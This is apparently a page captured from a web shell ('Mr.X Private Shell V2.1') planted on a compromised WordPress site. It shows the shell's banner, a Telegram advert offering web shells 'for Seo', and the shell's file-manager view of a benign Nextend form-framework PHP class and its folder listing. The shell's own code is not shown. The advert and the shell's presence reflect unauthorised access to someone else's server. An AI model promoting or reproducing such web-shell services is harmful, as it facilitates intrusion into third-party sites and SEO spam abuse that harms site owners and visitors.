__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
<?php
namespace Nextend\Framework\Form;
use Nextend\Framework\Form\Fieldset\FieldsetHidden;
class ContainerMain extends AbstractContainer {
/**
* @var Form
*/
protected $form;
/**
* @var FieldsetHidden
*/
protected $fieldsetHidden;
/**
* ContainerMain constructor.
*
* @param Form $form
*/
public function __construct($form) {
$this->form = $form;
$this->controlName = $form->getControlName();
$this->fieldsetHidden = new FieldsetHidden($this);
}
public function removeElement($element) {
$previous = $element->getPrevious();
$next = $element->getNext();
if ($this->first === $element) {
$this->first = $next;
}
if ($this->last === $element) {
$this->last = $previous;
}
if ($previous) {
$previous->setNext($next);
} else {
$next->setPrevious();
}
}
public function getParent() {
return false;
}
public function getPath() {
return '';
}
/**
* @return Form
*/
public function getForm() {
return $this->form;
}
/**
* @return string
*/
public function getName() {
return 'ContainerMain';
}
/**
* @return FieldsetHidden
*/
public function getFieldsetHidden() {
return $this->fieldsetHidden;
}
/**
*
* @return ContainerContainedInterface
*/
public function getFirst() {
return $this->first;
}
}| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| Base | Folder | 0775 |
|
|
| Container | Folder | 0775 |
|
|
| Element | Folder | 0775 |
|
|
| Fieldset | Folder | 0775 |
|
|
| Insert | Folder | 0775 |
|
|
| WordPress | Folder | 0775 |
|
|
| AbstractContainer.php | File | 1.48 KB | 0775 |
|
| AbstractField.php | File | 8.04 KB | 0775 |
|
| AbstractFieldset.php | File | 2.91 KB | 0775 |
|
| AbstractFormManager.php | File | 352 B | 0775 |
|
| ContainedInterface.php | File | 694 B | 0775 |
|
| ContainerContainedInterface.php | File | 133 B | 0775 |
|
| ContainerGeneral.php | File | 2.64 KB | 0775 |
|
| ContainerInterface.php | File | 1.02 KB | 0775 |
|
| ContainerMain.php | File | 1.56 KB | 0775 |
|
| Form.php | File | 2.57 KB | 0775 |
|
| FormTabbed.php | File | 1.82 KB | 0775 |
|
| TraitContainer.php | File | 2.55 KB | 0775 |
|
| TraitFieldset.php | File | 899 B | 0775 |
|